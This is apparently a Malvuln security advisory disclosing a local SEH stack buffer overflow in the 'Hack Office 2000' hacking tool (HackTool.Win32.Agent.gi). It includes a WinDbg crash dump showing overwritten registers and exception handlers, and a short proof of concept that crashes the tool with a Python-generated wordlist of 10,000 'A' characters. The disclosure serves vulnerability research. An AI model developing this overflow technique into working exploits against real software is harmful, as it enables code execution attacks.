Discovery / credits: Malvuln – malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/e60606d19a36789662ba97b4bb5c4ccf.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: HackTool.Win32.Agent.gi
Vulnerability: Local Stack Buffer Overflow (SEH)
Description: The Hack Office 2000 malware doesnt check bounds when loading textfiles for the wordlist to perform website URL cracking. Loading a specially crafted wordlist will trigger a stack buffer overflow overwriting the registers and structured exception handler (SEH).
Type: PE32
MD5: e60606d19a36789662ba97b4bb5c4ccf
Vuln ID: MVID-2021-0359
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 10/04/2021
Memory Dump:
(f98.b28): Access violation – code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec
eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212
ntdll!ZwQueryInformationProcess+0x26:
77b5e916 c21400 ret 14h
0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec
eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0 nv up ei pl nz ac po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212
ntdll!ZwQueryInformationProcess+0x26:
77b5e916 c21400 ret 14h
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
+597a550
46623b9a ?? ???
EXCEPTION_RECORD: 000a1e28 — (.exr 0xa1e28)
ExceptionAddress: 00000000
ExceptionCode: 0001007f
ExceptionFlags: 00000000
NumberParameters: 0
PROCESS_NAME: HackTool.Win32.Agent.gi.e60606d19a36789662ba97b4bb5c4ccf
MODULE_NAME: unknown
FAULTING_MODULE: 77af0000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP: 0
ERROR_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 000a0ff8
WRITE_ADDRESS: 000a0ff8
FOLLOWUP_IP:
+597a550
46623b9a ?? ???
FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
CONTEXT: 0019f8e8 — (.cxr 0x19f8e8)
eax=41414141 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=41414141 esp=41414141 ebp=41414141 iopl=0 nv up di pl zr na po cy
cs=4141 ss=4143 ds=4141 es=4141 fs=4141 gs=4141 efl=41414141
4141:41414141 ?? ???
Resetting default scope
ADDITIONAL_DEBUG_TEXT:
Use ‘!findthebuild’ command to search for the target build information.
If the build information is available, run ‘!findthebuild -s ; .reload’ to set symbol path and load symbols. ; Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 00000000 to 41414141
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH
PRIMARY_PROBLEM_CLASS: STACKIMMUNE_EXH
DEFAULT_BUCKET_ID: STACKIMMUNE_EXH
IP_ON_STACK:
+26
41414141 ?? ???
IP_IN_FREE_BLOCK: 41414141
UNALIGNED_STACK_POINTER: 41414141
STACK_TEXT:
00000000 00000000 unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf+0x0
STACK_COMMAND: .cxr 000000000019F8E8 ; kb ; ** Pseudo Context ** ; kb
SYMBOL_NAME: unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf
FOLLOWUP_NAME: MachineOwner
IMAGE_NAME: unknown
FAILURE_BUCKET_ID: STACKIMMUNE_EXH_c0000005_unknown!Unloaded
BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH_BAD_IP_unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf
Followup: MachineOwner
———
0:000> !exchain
0019e8c0: HackTool_Win32_Agent_gi+37f72 (00437f72)
0019f8e8: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
1) python -c “print(‘A’*10000)” > DOOM.txt
2) Load DOOM.txt in the vulnerable malware as wordlist for URL cracking feature.
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